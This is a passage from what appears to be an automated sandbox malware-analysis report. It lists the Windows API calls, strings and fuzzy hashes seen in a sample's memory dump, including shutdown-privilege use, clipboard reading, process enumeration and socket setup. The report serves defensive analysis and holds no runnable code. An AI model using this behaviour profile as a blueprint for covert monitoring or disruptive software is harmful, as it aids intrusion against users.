                              • AdjustTokenPrivileges.ADVAPI32 ref: 004364FE
                              • GetLastError.KERNEL32 ref: 00436504
                              • ExitWindowsEx.USER32(?,00000000), ref: 00436527
                              • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000001), ref: 00436557
                              • SetSystemPowerState.KERNEL32(00000001,00000000), ref: 0043656A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
                              • String ID: SeShutdownPrivilege
                              • API String ID: 2938487562-3733053543
                              • Opcode ID: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                              • Instruction ID: b625d7910520021a286729d09db348b3c4b0b131b75d5259d4bd29649b467962
                              • Opcode Fuzzy Hash: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                              • Instruction Fuzzy Hash: E021D5B02803017FF7149B64DD4AF6B3398EB48B10F948829FE09852D2D6BDE844973D
                              APIs
                              • __swprintf.LIBCMT ref: 00436162
                              • __swprintf.LIBCMT ref: 00436176
                                • Part of subcall function 0041353A: __woutput_l.LIBCMT ref: 0041358F
                              • __wcsicoll.LIBCMT ref: 00436185
                              • FindResourceW.KERNEL32(?,?,0000000E), ref: 004361A6
                              • LoadResource.KERNEL32(?,00000000), ref: 004361AE
                              • LockResource.KERNEL32(00000000), ref: 004361B5
                              • FindResourceW.KERNEL32(?,?,00000003), ref: 004361DA
                              • LoadResource.KERNEL32(?,00000000), ref: 004361E4
                              • SizeofResource.KERNEL32(?,00000000), ref: 004361F0
                              • LockResource.KERNEL32(?), ref: 004361FD
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll__woutput_l
                              • String ID:
                              • API String ID: 2406429042-0
                              • Opcode ID: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                              • Instruction ID: 79d88324f8a28cdfdddc37bd7103cac5134eefaeeaedb246b69d205017f9fa0d
                              • Opcode Fuzzy Hash: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                              • Instruction Fuzzy Hash: 82313432104210BFD700EF64ED88EAF77A9FB89304F00882BFA4196150E778D940CB68
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D522
                              • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,?), ref: 0045D593
                              • GetLastError.KERNEL32 ref: 0045D59D
                              • SetErrorMode.KERNEL32(?), ref: 0045D629
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Error$Mode$DiskFreeLastSpace
                              • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                              • API String ID: 4194297153-14809454
                              • Opcode ID: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                              • Instruction ID: 49a1caac5541b587bc648ef7caa6256b54369420b38b3993b587487a6931f65b
                              • Opcode Fuzzy Hash: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                              • Instruction Fuzzy Hash: BA31AD75A083009FC310EF55D98090BB7E1AF89315F448D6FF94997362D778E9068B6A
                              APIs
                              • MkParseDisplayName.OLE32(?,00000000,?,?), ref: 0047AF0F
                                • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                              • OleInitialize.OLE32(00000000), ref: 0047AE06
                                • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                              • _wcslen.LIBCMT ref: 0047AE18
                              • CreateBindCtx.OLE32(00000000,?), ref: 0047AEC2
                              • CLSIDFromProgID.OLE32(00000000,?,?), ref: 0047AFCC
                              • GetActiveObject.OLEAUT32(?,00000000,?), ref: 0047AFF9
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CopyVariant$_wcslen$ActiveBindCreateDisplayErrorFromInitializeLastNameObjectParseProg_wcscpy
                              • String ID: HH
                              • API String ID: 1915432386-2761332787
                              • Opcode ID: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                              • Instruction ID: 7e3b4e38c6064d991530b19baaff212313fd3e9d55f264e0ba959e8ba912c45c
                              • Opcode Fuzzy Hash: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                              • Instruction Fuzzy Hash: 6C915C71604301ABD710EB65CC85F9BB3E8AFC8714F10892EF64597291EB78E909CB5A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID: DEFINE$`$h$h
                              • API String ID: 0-4194577831
                              • Opcode ID: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                              • Instruction ID: b1cbab3e2140d6a963e4b85c5b61650905c2e88cbb7a9c7ccaf19de07e543520
                              • Opcode Fuzzy Hash: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                              • Instruction Fuzzy Hash: 9802A1715083818FE725CF29C88076BBBE2BFD5304F28896EE89587342D779D849CB56
                              APIs
                              • socket.WSOCK32(00000002,00000001,00000006,?,00000000), ref: 004648B0
                              • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,?,00000000), ref: 004648BE
                              • bind.WSOCK32(00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648DA
                              • WSAGetLastError.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648E6
                              • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000005,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 0046492D
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ErrorLast$bindclosesocketsocket
                              • String ID:
                              • API String ID: 2609815416-0
                              • Opcode ID: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                              • Instruction ID: d240999dee57073d64b91b26c15bb406cb7727aead8f71c00845428af50f987f
                              • Opcode Fuzzy Hash: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                              • Instruction Fuzzy Hash: C731CB712002009BD710FF2ADC81B6BB3E8EF85724F144A5FF594A72D2D779AC85876A
                              APIs
                              • CreateToolhelp32Snapshot.KERNEL32 ref: 00437043
                              • Process32FirstW.KERNEL32(00000000,00000002), ref: 00437050
                              • Process32NextW.KERNEL32(00000000,?), ref: 00437075
                              • __wsplitpath.LIBCMT ref: 004370A5
                                • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                              • _wcscat.LIBCMT ref: 004370BA
                              • __wcsicoll.LIBCMT ref: 004370C8
                              • CloseHandle.KERNEL32(00000000,?), ref: 00437105
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                              • String ID:
                              • API String ID: 2547909840-0
                              • Opcode ID: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                              • Instruction ID: d866d71778569fbbd99b025f777f77cc3db9ba9c83dfb601fa45888e96c7797d
                              • Opcode Fuzzy Hash: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                              • Instruction Fuzzy Hash: 9C21A7B20083819BD735DB55C881BEFB7E8BB99304F00491EF5C947241EB79A589CB6A
                              APIs
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • FindFirstFileW.KERNEL32(?,?,?,?,?,00000000), ref: 0045217E
                              • Sleep.KERNEL32(0000000A,?,?,00000000), ref: 004521B2
                              • FindNextFileW.KERNEL32(?,?,?,00000000), ref: 004522AC
                              • FindClose.KERNEL32(?,?,00000000), ref: 004522C3
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Find$File$CloseFirstNextSleep_wcslen
                              • String ID: *.*
                              • API String ID: 2693929171-438819550
                              • Opcode ID: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                              • Instruction ID: e6452ff64139cddd5fd774ab19bf2199aa97b2a19dc0f7115334900b47d689b2
                              • Opcode Fuzzy Hash: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                              • Instruction Fuzzy Hash: BD419D756083409FC314DF25C984A9FB7E4BF86305F04491FF98993291DBB8E949CB5A
                              APIs
                              • OpenClipboard.USER32(?), ref: 0046C635
                              • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                              • GetClipboardData.USER32(0000000D), ref: 0046C64F
                              • CloseClipboard.USER32 ref: 0046C65D
                              • GlobalLock.KERNEL32(00000000), ref: 0046C688
                              • CloseClipboard.USER32 ref: 0046C692
                              • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                              • GetClipboardData.USER32(00000001), ref: 0046C6DD
                              • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                              • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                              • CloseClipboard.USER32 ref: 0046C866
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                              • String ID: HH
                              • API String ID: 589737431-2761332787
                              • Opcode ID: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                              • Instruction ID: 5556deb4c8197336e1b92b5e2a85e957832ef7964462d916cb468ff193882e13
                              • Opcode Fuzzy Hash: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                              • Instruction Fuzzy Hash: 7301F5762042005FC300AFB9ED45B6A7BA4EF59704F04097FF980A72C1EBB1E915C7AA
                              APIs
                              • __wcsicoll.LIBCMT ref: 0043643C
                              • mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 00436452
                              • __wcsicoll.LIBCMT ref: 00436466
                              • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043647C
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __wcsicollmouse_event
                              • String ID: DOWN
                              • API String ID: 1033544147-711622031
                              • Opcode ID: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                              • Instruction ID: 8a73d33e481528181e274ae5662561dddcd8f7088196b39fde8242b6fe69d79f
                              • Opcode Fuzzy Hash: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                              • Instruction Fuzzy Hash: 75E0927558872039FC4036253C02FFB174CAB66796F018116FE00D1291EA586D865BBD
                              APIs
                                • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                              • socket.WSOCK32(00000002,00000002,00000011,?,00000000), ref: 00474213
                              • WSAGetLastError.WSOCK32(00000000), ref: 00474233
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ErrorLastinet_addrsocket
                              • String ID:
                              • API String ID: 4170576061-0
                              • Opcode ID: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                              • Instruction ID: 44a7e99483396e6262e636993c5e510db402c36a24f0b6146f21617b09e75fab
                              • Opcode Fuzzy Hash: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                              • Instruction Fuzzy Hash: B6412C7164030067E720BB3A8C83F5A72D89F40728F144D5EF954BB2C3D6BAAD45475D
                              APIs
                              • GetCursorPos.USER32(004A83D8), ref: 0045636A
                              • ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                              • GetAsyncKeyState.USER32(?), ref: 004563D0
                              • GetAsyncKeyState.USER32(?), ref: 004563DC
                              • GetWindowLongW.USER32(?,000000F0), ref: 00456430
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AsyncState$ClientCursorLongScreenWindow
                              • String ID:
                              • API String ID: 3539004672-0
                              • Opcode ID: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                              • Instruction ID: 0eacbf52c9ff4b21db6d2500407d28a57be55752a0539e191fb639d8ee6a043b
                              • Opcode Fuzzy Hash: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                              • Instruction Fuzzy Hash: 8E416071108341ABD724DF55CD84EBBB7E9EF86725F540B0EB8A543281C734A848CB6A
                              APIs
                                • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                              • IsWindowVisible.USER32 ref: 00477314
                              • IsWindowEnabled.USER32 ref: 00477324
                              • GetForegroundWindow.USER32(?,?,?,00000001,?,?), ref: 00477331
                              • IsIconic.USER32 ref: 0047733F
                              • IsZoomed.USER32 ref: 0047734D
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$EnabledForegroundIconicVisibleZoomed
                              • String ID:
                              • API String ID: 292994002-0
                              • Opcode ID: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                              • Instruction ID: c753cb395bd8887e5e04db90522a3107d7308fd2cfa588f53a4db7a4177bc043
                              • Opcode Fuzzy Hash: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                              • Instruction Fuzzy Hash: 351172327041119BE3209B26DD05B9FB7A8AF91310F05882EFC49E7250D7B8EC42D7A9
                              APIs
                              • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000,76233220,00000000,00000000,00442E95,?,?,?), ref: 00436D4F
                              • SetFileTime.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 00436D8C
                              • CloseHandle.KERNEL32(00000000,?,?,?,00000000), ref: 00436D93
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: File$CloseCreateHandleTime
                              • String ID:
                              • API String ID: 3397143404-0
                              • Opcode ID: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                              • Instruction ID: bce1a9391340f9688fe0750810cd2cb1b104417d8b3c1e96578cdf6de8724fbd
                              • Opcode Fuzzy Hash: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                              • Instruction Fuzzy Hash: A4F0C83634132077E5301A69AC8DFCF276CABDAB32F20452EF741A61C083D51445977D
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _strncmp
                              • String ID: ACCEPT$^$h
                              • API String ID: 909875538-4263704089
                              • Opcode ID: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                              • Instruction ID: 72a2cba82410d8b1d90f72ff5cad5771b474d57714a55a9933f2c727144888ce
                              • Opcode Fuzzy Hash: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                              • Instruction Fuzzy Hash: AE22A0746083818FE725CF29C48076BBBE2BFC9304F24896EE8D587351D779984ACB56
                              APIs
                              • _set_new_mode.LIBCMT ref: 0040D88C
                              • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0040D8B9
                              • FreeLibrary.KERNEL32(?), ref: 0040D8CE
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: FreeInfoLibraryParametersSystem_set_new_mode
                              • String ID: #v
                              • API String ID: 1188159508-554117064
                              • Opcode ID: 06ca62d5f0ac41005a4bed089aefec56480100fd5cca74c1e28fe2d3c932602c
                              • Instruction ID: 2b4412acdce639bfbf0f9e0c9ecf3f694f94d165ded01d265c3c64edb54a61d9
                              • Opcode Fuzzy Hash: 06ca62d5f0ac41005a4bed089aefec56480100fd5cca74c1e28fe2d3c932602c
                              • Instruction Fuzzy Hash: C2215EB19183009FC700EF56D88150ABBE4FB98354F44497EF849A72A2D735A945CB9A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID: ERCP$VUUU$VUUU$VUUU
                              • API String ID: 0-2165971703
                              • Opcode ID: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                              • Instruction ID: 514654dd073cfe12bfc68f6c44a091d7a3824994b709b832431b3f3de6bbd106
                              • Opcode Fuzzy Hash: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                              • Instruction Fuzzy Hash: 5562D3716087818BE734CF18C8807ABB7E1EBC6314F154A2FE49986390E779D949CB5B
                              APIs
